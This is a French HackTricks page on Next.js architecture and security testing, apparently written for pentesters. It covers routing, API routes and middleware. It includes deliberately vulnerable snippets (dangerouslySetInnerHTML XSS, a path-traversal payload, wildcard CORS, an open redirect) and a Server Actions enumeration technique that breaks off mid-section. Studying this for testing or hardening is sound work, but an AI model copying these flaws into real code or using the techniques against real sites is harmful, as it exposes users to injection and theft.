NextJS
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Architecture générale d’une application Next.js
Structure de fichiers typique
Un projet Next.js standard suit une structure de fichiers et de répertoires spécifique qui facilite ses fonctionnalités comme le routage, les API endpoints et la gestion des ressources statiques. Voici une organisation typique :
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Core Directories and Files
- public/: Héberge des assets statiques tels que images, polices, et autres fichiers. Les fichiers ici sont accessibles à la racine (
/). - app/: Répertoire central pour les pages de votre application, les layouts, les composants et les routes API. Adopte le paradigme App Router, permettant des fonctionnalités de routage avancées et la séparation des composants server-client.
- app/layout.tsx: Définit le layout racine de votre application, enveloppant toutes les pages et fournissant des éléments d’interface cohérents comme en-têtes, pieds de page et barres de navigation.
- app/page.tsx: Sert d’entrée pour la route racine
/, affichant la page d’accueil. - app/[route]/page.tsx: Gère les routes statiques et dynamiques. Chaque dossier dans
app/représente un segment de route, etpage.tsxà l’intérieur de ces dossiers correspond au composant de la route. - app/api/: Contient des routes API, vous permettant de créer des fonctions serverless qui traitent des requêtes HTTP. Ces routes remplacent le répertoire traditionnel
pages/api. - app/components/: Contient des composants React réutilisables qui peuvent être utilisés à travers différentes pages et layouts.
- app/styles/: Contient des fichiers CSS globaux et des CSS Modules pour le style par composant.
- app/utils/: Inclut des fonctions utilitaires, modules d’aide et autre logique non-UI pouvant être partagée dans l’application.
- .env.local: Contient les variables d’environnement spécifiques à l’environnement de développement local. Ces variables ne sont pas commitées dans le contrôle de version.
- next.config.js: Personnalise le comportement de Next.js, y compris les configurations webpack, les variables d’environnement et les paramètres de sécurité.
- tsconfig.json: Configure les paramètres TypeScript pour le projet, activant la vérification de types et autres fonctionnalités TypeScript.
- package.json: Gère les dépendances du projet, les scripts et les métadonnées.
- README.md: Fournit la documentation et des informations sur le projet, y compris les instructions d’installation, les consignes d’utilisation et autres détails pertinents.
- yarn.lock / package-lock.json: Verrouillent les dépendances du projet à des versions spécifiques, assurant des installations cohérentes entre environnements.
Client-Side in Next.js
File-Based Routing in the app Directory
Le répertoire app est la pierre angulaire du routage dans les dernières versions de Next.js. Il utilise le système de fichiers pour définir les routes, rendant la gestion des routes intuitive et évolutive.
Handling the Root Path /
File Structure:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Fichiers clés:
app/page.tsx: Gère les requêtes vers le chemin racine/.app/layout.tsx: Définit la mise en page de l’application, englobant toutes les pages.
Implémentation:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Explication:
- Définition de la route : Le fichier
page.tsxdirectement sous le répertoireappcorrespond à la route/. - Rendu : Ce composant rend le contenu de la page d’accueil.
- Intégration du layout : Le composant
HomePageest enveloppé parlayout.tsx, qui peut inclure des en-têtes, des pieds de page et d’autres éléments communs.
Gestion d'autres chemins statiques
Exemple : la route /about
Structure des fichiers :
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implémentation :
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Explication :
- Définition de la route : Le fichier
page.tsxà l’intérieur du dossieraboutcorrespond à la route/about. - Rendu : Ce composant affiche le contenu de la page
/about.
Routes dynamiques
Les routes dynamiques permettent de gérer des chemins comportant des segments variables, permettant aux applications d’afficher du contenu en fonction de paramètres tels que les IDs, les slugs, etc.
Exemple : la route /posts/[id]
Structure des fichiers :
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implémentation :
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Explication:
- Segment dynamique:
[id]désigne un segment dynamique dans la route, capturant le paramètreiddepuis l’URL. - Accès aux paramètres: L’objet
paramscontient les paramètres dynamiques, accessibles au sein du composant. - Correspondance de route: Tout chemin correspondant à
/posts/*, tel que/posts/1,/posts/abc, etc., sera pris en charge par ce composant.
Routes imbriquées
Next.js prend en charge le routage imbriqué, permettant des structures de routes hiérarchiques qui reflètent l’organisation des répertoires.
Exemple: route /dashboard/settings/profile
Structure de fichiers:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implémentation :
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Explication :
- Imbrication profonde : Le fichier
page.tsxà l’intérieur dedashboard/settings/profile/correspond à la route/dashboard/settings/profile. - Réflexion de la hiérarchie : La structure des répertoires reflète le chemin URL, améliorant la maintenabilité et la clarté.
Routes catch-all
Les routes catch-all gèrent plusieurs segments imbriqués ou des chemins inconnus, offrant de la flexibilité dans le traitement des routes.
Exemple : /* Route
Structure de fichiers :
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implémentation:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Explication :
- Catch-All Segment:
[...slug]capture tous les segments de chemin restants sous forme de tableau. - Usage : Utile pour gérer des scénarios de routage dynamique comme des chemins générés par les utilisateurs, des catégories imbriquées, etc.
- Route Matching : Des chemins comme
/anything/here,/foo/bar/baz, etc., sont gérés par ce composant.
Vulnérabilités potentielles côté client
Bien que Next.js fournisse une base sécurisée, de mauvaises pratiques de codage peuvent introduire des vulnérabilités. Les principales vulnérabilités côté client incluent :
Cross-Site Scripting (XSS)
Les attaques XSS se produisent lorsque des scripts malveillants sont injectés dans des sites web de confiance. Les attaquants peuvent exécuter des scripts dans les navigateurs des utilisateurs, voler des données ou effectuer des actions au nom de l’utilisateur.
Exemple de code vulnérable :
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Pourquoi c’est vulnérable : L’utilisation de dangerouslySetInnerHTML avec des entrées non fiables permet aux attaquants d’injecter des scripts malveillants.
Client-Side Template Injection
Se produit lorsque les entrées utilisateur sont mal gérées dans les templates, permettant aux attaquants d’injecter et d’exécuter des templates ou des expressions.
Exemple de code vulnérable :
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Pourquoi c’est vulnérable : Si template ou data contient du contenu malveillant, cela peut entraîner l’exécution de code non prévu.
Client Path Traversal
C’est une vulnérabilité qui permet aux attaquants de manipuler des chemins côté client pour effectuer des actions non prévues, comme Cross-Site Request Forgery (CSRF). Contrairement à server-side path traversal, qui cible le système de fichiers du serveur, CSPT se concentre sur l’exploitation des mécanismes côté client pour rediriger des requêtes API légitimes vers des endpoints malveillants.
Exemple de code vulnérable :
Une application Next.js permet aux utilisateurs de téléverser et de télécharger des fichiers. La fonctionnalité de téléchargement est implémentée côté client, où les utilisateurs peuvent spécifier le chemin du fichier à télécharger.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scénario d’attaque
- Objectif de l’attaquant : Effectuer une attaque CSRF pour supprimer un fichier critique (par ex.,
admin/config.json) en manipulant lefilePath. - Exploitation de CSPT :
- Malicious Input : L’attaquant crée une URL avec un
filePathmanipulé tel que../deleteFile/config.json. - Resulting API Call : Le code côté client effectue une requête vers
/api/files/../deleteFile/config.json. - Server’s Handling : Si le serveur ne valide pas le
filePath, il traite la requête, supprimant potentiellement ou exposant des fichiers sensibles.
- Exécution du CSRF :
- Crafted Link : L’attaquant envoie à la victime un lien ou intègre un script malveillant qui déclenche la requête de téléchargement avec le
filePathmanipulé. - Outcome : La victime exécute involontairement l’action, entraînant un accès non autorisé aux fichiers ou leur suppression.
Pourquoi c’est vulnérable
- Absence de validation des entrées : Le côté client accepte des
filePatharbitraires, permettant le path traversal. - Confiance aux entrées client : L’API côté serveur fait confiance et traite le
filePathsans assainissement. - Potential API Actions : Si l’endpoint API effectue des actions modifiant l’état (e.g., delete, modify files), il peut être exploité via CSPT.
Côté serveur dans Next.js
Rendu côté serveur (SSR)
Les pages sont rendues sur le serveur à chaque requête, garantissant que l’utilisateur reçoit du HTML entièrement rendu. Dans ce cas, vous devriez créer votre propre serveur personnalisé pour traiter les requêtes.
Cas d’utilisation :
- Contenu dynamique qui change fréquemment.
- Optimisation SEO, car les moteurs de recherche peuvent explorer la page entièrement rendue.
Implémentation :
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Génération de sites statiques (SSG)
Les pages sont pré-rendues lors de la génération du site, ce qui entraîne des temps de chargement plus rapides et une charge serveur réduite.
Cas d’utilisation :
- Contenu qui ne change pas fréquemment.
- Blogs, documentation, pages marketing.
Implémentation :
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Fonctions sans serveur (API Routes)
Next.js permet la création d’endpoints API en tant que fonctions sans serveur. Ces fonctions s’exécutent à la demande sans nécessiter de serveur dédié.
Cas d’utilisation :
- Traitement des soumissions de formulaires.
- Interaction avec des bases de données.
- Traitement des données ou intégration avec des APIs tierces.
Implémentation :
Avec l’introduction du répertoire app dans Next.js 13, le routing et la gestion des API sont devenus plus flexibles et puissants. Cette approche moderne s’aligne étroitement sur le système de routing basé sur les fichiers tout en introduisant des capacités améliorées, y compris le support des composants côté serveur et côté client.
Gestionnaire de route de base
Structure de fichiers :
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implémentation:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Explication :
- Emplacement : Les routes API sont placées sous le répertoire
app/api/. - Nom des fichiers : Chaque endpoint API se trouve dans son propre dossier contenant un fichier
route.jsouroute.ts. - Fonctions exportées : Au lieu d’une unique exportation par défaut, des fonctions pour des méthodes HTTP spécifiques (par ex.
GET,POST) sont exportées. - Gestion des réponses : Utilisez le constructeur
Responsepour renvoyer des réponses, ce qui permet un meilleur contrôle des en-têtes et des codes d’état.
Comment gérer d’autres chemins et méthodes :
Gestion des méthodes HTTP spécifiques
Next.js 13+ vous permet de définir des gestionnaires pour des méthodes HTTP spécifiques dans le même fichier route.js ou route.ts, favorisant un code plus clair et mieux organisé.
Exemple :
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explication :
- Plusieurs exports : Chaque méthode HTTP (
GET,PUT,DELETE) a sa propre fonction exportée. - Paramètres : Le second argument fournit l’accès aux paramètres de route via
params. - Réponses améliorées : Contrôle plus fin des objets de réponse, permettant une gestion précise des en-têtes et des codes de statut.
Routes catch-all et routes imbriquées
Next.js 13+ prend en charge des fonctionnalités de routage avancées comme les routes catch-all et les routes API imbriquées, permettant des structures d’API plus dynamiques et évolutives.
Exemple de route catch-all :
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explication :
- Syntaxe :
[...]désigne un segment catch-all, capturant tous les chemins imbriqués. - Utilisation : Utile pour les API qui doivent gérer des profondeurs de route variables ou des segments dynamiques.
Exemple de routes imbriquées :
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Explication:
- Imbrication profonde: Permet des structures d’API hiérarchiques, reflétant les relations entre ressources.
- Accès aux paramètres: Permet d’accéder facilement à plusieurs paramètres de route via l’objet
params.
Gestion des routes API dans Next.js 12 et versions antérieures
Routes API dans le répertoire pages (Next.js 12 et versions antérieures)
Avant que Next.js 13 n’introduise le répertoire app et n’améliore les capacités de routage, les routes API étaient principalement définies dans le répertoire pages. Cette approche est toujours largement utilisée et prise en charge dans Next.js 12 et les versions antérieures.
Route API basique
Structure de fichiers:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implémentation :
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Explication:
- Emplacement: Les routes API se trouvent dans le répertoire
pages/api/. - Export: Utilisez
export defaultpour définir la fonction handler. - Signature de la fonction: La fonction handler reçoit les objets
req(requête HTTP) etres(réponse HTTP). - Routage: Le nom de fichier (
hello.js) correspond à l’endpoint/api/hello.
Routes API dynamiques
Structure des fichiers:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implémentation :
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Explication :
- Segments dynamiques : Les crochets (
[id].js) désignent des segments de route dynamiques. - Accès aux paramètres : Utilisez
req.query.idpour accéder au paramètre dynamique. - Gestion des méthodes : Utilisez une logique conditionnelle pour traiter les différentes méthodes HTTP (
GET,PUT,DELETE, etc.).
Gestion des différentes méthodes HTTP
Bien que l’exemple de route API de base gère toutes les méthodes HTTP dans une seule fonction, vous pouvez organiser votre code pour traiter chaque méthode séparément, pour plus de clarté et de maintenabilité.
Exemple :
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Bonnes pratiques :
- Séparation des responsabilités : Séparez clairement la logique pour les différentes méthodes HTTP.
- Cohérence des réponses : Assurez des structures de réponse cohérentes pour faciliter le traitement côté client.
- Gestion des erreurs : Gérez correctement les méthodes non prises en charge et les erreurs inattendues.
Configuration CORS
Contrôlez quelles origines peuvent accéder à vos routes API, en atténuant les vulnérabilités Cross-Origin Resource Sharing (CORS).
Exemple de mauvaise configuration :
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Notez que CORS peut également être configuré dans toutes les routes API à l’intérieur du fichier middleware.ts :
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problème :
Access-Control-Allow-Origin: '*': Permet à n’importe quel site web d’accéder à l’API, ce qui peut autoriser des sites malveillants à interagir avec votre API sans restrictions.- Autorisation large des méthodes : Autoriser toutes les méthodes peut permettre à des attaquants d’effectuer des actions indésirables.
Comment les attaquants l’exploitent :
Les attaquants peuvent créer des sites web malveillants qui effectuent des requêtes vers votre API, abusant potentiellement de fonctionnalités telles que la récupération de données, la manipulation de données ou le déclenchement d’actions indésirables au nom d’utilisateurs authentifiés.
CORS - Misconfigurations & Bypass
Exposition du code serveur côté client
Il est facile d’utiliser du code destiné au serveur également dans le code exposé et exécuté côté client, la meilleure façon de garantir qu’un fichier de code n’est jamais exposé côté client est d’utiliser cet import au début du fichier :
import "server-only"
Fichiers clés et leurs rôles
middleware.ts / middleware.js
Emplacement : Racine du projet ou dans src/.
Objectif : Exécute du code dans la fonction serverless côté serveur avant le traitement d’une requête, permettant des tâches comme l’authentification, les redirections ou la modification des réponses.
Flux d’exécution :
- Requête entrante : Le middleware intercepte la requête.
- Traitement : Effectue des opérations en fonction de la requête (par ex., vérifier l’authentification).
- Modification de la réponse : Peut altérer la réponse ou passer le contrôle au gestionnaire suivant.
Exemples d’utilisation :
- Rediriger les utilisateurs non authentifiés.
- Ajouter des en-têtes personnalisés.
- Enregistrer les requêtes.
Exemple de configuration :
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
next.config.js
Location: À la racine du projet.
Purpose: Configure le comportement de Next.js, activer ou désactiver des fonctionnalités, personnaliser les configurations webpack, définir des variables d’environnement et configurer plusieurs fonctionnalités de sécurité.
Principales configurations de sécurité :
En-têtes de sécurité
Les en-têtes de sécurité renforcent la sécurité de votre application en indiquant aux navigateurs comment gérer le contenu. Ils aident à atténuer diverses attaques comme Cross-Site Scripting (XSS), Clickjacking et MIME type sniffing :
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Exemples :
module.exports = { async headers() { return [ { source: “/(.*)”, // Apply to all routes headers: [ { key: “X-Frame-Options”, value: “DENY”, }, { key: “Content-Security-Policy”, value: “default-src *; script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’;”, }, { key: “X-Content-Type-Options”, value: “nosniff”, }, { key: “Strict-Transport-Security”, value: “max-age=63072000; includeSubDomains; preload”, // Enforces HTTPS }, { key: “Referrer-Policy”, value: “no-referrer”, // Completely hides referrer }, // Additional headers… ], }, ] }, }
</details>
<details>
<summary>Paramètres d'optimisation des images</summary>
Next.js optimise les images pour les performances, mais des erreurs de configuration peuvent entraîner des vulnérabilités de sécurité, comme permettre à des sources non fiables d'injecter du contenu malveillant.
**Exemple de mauvaise configuration :**
```javascript
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problème :
'*': Permet de charger des images depuis n’importe quelle source externe, y compris des domaines non fiables ou malveillants. Les attaquants peuvent héberger des images contenant des payloads malveillants ou du contenu visant à tromper les utilisateurs.- Un autre problème peut être d’autoriser un domaine où n’importe qui peut uploader une image (comme
raw.githubusercontent.com)
Comment les attaquants en abusent :
En injectant des images depuis des sources malveillantes, les attaquants peuvent réaliser des attaques de phishing, afficher des informations trompeuses ou exploiter des vulnérabilités dans des bibliothèques de rendu d’images.
Exposition des variables d'environnement
Gérez les informations sensibles comme API keys et database credentials de manière sécurisée sans les exposer au client.
a. Exposition de variables sensibles
Mauvais exemple de configuration :
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problème :
SECRET_API_KEY: Sans le préfixeNEXT_PUBLIC_, Next.js n’expose pas les variables au client. Cependant, si préfixée par erreur (p.ex.,NEXT_PUBLIC_SECRET_API_KEY), elle devient accessible côté client.
Comment les attaquants l’exploitent :
Si des variables sensibles sont exposées au client, des attaquants peuvent les récupérer en inspectant le code côté client ou les requêtes réseau, obtenant ainsi un accès non autorisé aux APIs, bases de données ou autres services.
Redirections
Gérez les redirections et réécritures d’URL au sein de votre application, en veillant à ce que les utilisateurs soient dirigés correctement sans introduire d’open redirect vulnerabilities.
a. Open Redirect Vulnerability
Mauvais exemple de configuration :
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problème:
- Destination dynamique: Permet aux utilisateurs de spécifier n’importe quelle URL, permettant des attaques d’open redirect.
- Faire confiance aux entrées utilisateur: Les redirections vers des URLs fournies par les utilisateurs sans validation peuvent mener au phishing, à la distribution de malware ou au credential theft.
Comment les attaquants l’exploitent:
Les attaquants peuvent créer des URLs qui semblent provenir de votre domaine mais redirigent les utilisateurs vers des sites malveillants. Par exemple:
https://yourdomain.com/redirect?url=https://malicious-site.com
Les utilisateurs faisant confiance au domaine d’origine pourraient naviguer sans le savoir vers des sites malveillants.
Configuration Webpack
Personnalisez les configurations de Webpack pour votre application Next.js, ce qui peut involontairement introduire des vulnérabilités de sécurité si ce n’est pas fait avec prudence.
a. Exposition de modules sensibles
Mauvais exemple de configuration :
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problème :
- Exposition des chemins sensibles : L’aliasing de répertoires sensibles et l’autorisation d’accès côté client peuvent leak des informations confidentielles.
- Regroupement de secrets : Si des fichiers sensibles sont inclus dans le bundle côté client, leur contenu devient accessible via source maps ou en inspectant le code côté client.
Comment les attaquants l’exploitent :
Les attaquants peuvent accéder à la structure de répertoires de l’application ou la reconstruire, trouvant potentiellement des fichiers ou des données sensibles et les exploitant.
pages/_app.js and pages/_document.js
pages/_app.js
Purpose : Remplace le composant App par défaut, permettant d’utiliser un état global, des styles et des composants de mise en page.
Cas d’utilisation :
- Injection de CSS global.
- Ajout de wrappers de mise en page.
- Intégration de bibliothèques de gestion d’état.
Exemple :
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Objectif : Remplace le Document par défaut, permettant de personnaliser les balises HTML et Body.
Cas d’utilisation :
- Modifier les balises
<html>ou<body>. - Ajouter des balises meta ou des scripts personnalisés.
- Intégrer des polices tierces.
Exemple :
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Serveur personnalisé (optionnel)
Objectif : Bien que Next.js soit fourni avec un serveur intégré, vous pouvez créer un serveur personnalisé pour des cas d’utilisation avancés tels que le routage personnalisé ou l’intégration avec des services backend existants.
Remarque : L’utilisation d’un serveur personnalisé peut limiter les options de déploiement, surtout sur des plateformes comme Vercel qui optimisent le serveur intégré de Next.js.
Exemple :
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Considérations architecturales et de sécurité supplémentaires
Variables d’environnement et configuration
Objectif : Gérer les informations sensibles et les paramètres de configuration en dehors du code.
Bonnes pratiques :
- Utiliser les fichiers
.env: Stocker les variables telles que les clés API dans.env.local(exclu du contrôle de version). - Accéder aux variables en toute sécurité : Utiliser
process.env.VARIABLE_NAMEpour accéder aux variables d’environnement. - Ne jamais exposer de secrets côté client : S’assurer que les variables sensibles sont utilisées uniquement côté serveur.
Exemple :
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Note : Pour restreindre les variables au serveur uniquement, omettez-les de l’objet env ou préfixez-les par NEXT_PUBLIC_ pour les rendre accessibles côté client.
Authentification et autorisation
Approche :
- Authentification basée sur les sessions : Utilisez des cookies pour gérer les sessions utilisateur.
- Authentification par tokens : Implémentez des JWTs pour une authentification sans état.
- Fournisseurs tiers : Intégrez des fournisseurs OAuth (par ex., Google, GitHub) en utilisant des bibliothèques comme
next-auth.
Bonnes pratiques de sécurité :
- Secure Cookies : Définissez les attributs
HttpOnly,SecureetSameSite. - Hachage des mots de passe : Hachez toujours les mots de passe avant de les stocker.
- Validation des entrées : Empêchez les attaques par injection en validant et en assainissant les entrées.
Exemple :
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optimisation des performances
Stratégies :
- Optimisation des images : Utilisez le composant
next/imagede Next.js pour l’optimisation automatique des images. - Découpage du code : Utilisez les imports dynamiques pour découper le code et réduire les temps de chargement initiaux.
- Mise en cache : Mettez en place des stratégies de cache pour les réponses d’API et les ressources statiques.
- Chargement différé : Chargez les composants ou ressources uniquement lorsqu’ils sont nécessaires.
Exemple :
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Énumération (hash vers nom de fonction via source maps)
Les versions récentes de Next.js utilisent “Server Actions” qui s’exécutent côté serveur mais sont invoquées depuis le client. En production, ces invocations sont opaques : toutes les POSTs aboutissent à un endpoint commun et sont distinguées par un hash spécifique à la build envoyé dans l’en-tête Next-Action. Exemple:
POST /
Next-Action: a9f8e2b4c7d1...
Lorsque productionBrowserSourceMaps est activé, les chunks JS minifiés contiennent des appels à createServerReference(...) qui permettent un leak suffisant de structure (ainsi que les source maps associées) pour récupérer une correspondance entre le hash de l’action et le nom de la fonction d’origine. Cela vous permet de traduire les hashes observés dans Next-Action en cibles concrètes comme deleteUserAccount() ou exportFinancialData().
Approche d’extraction (regex sur les JS minifiés + source maps optionnels)
Recherchez dans les chunks JS téléchargés createServerReference et extrayez le hash ainsi que le symbole de fonction/source. Deux motifs utiles :
# Strict pattern for standard minification
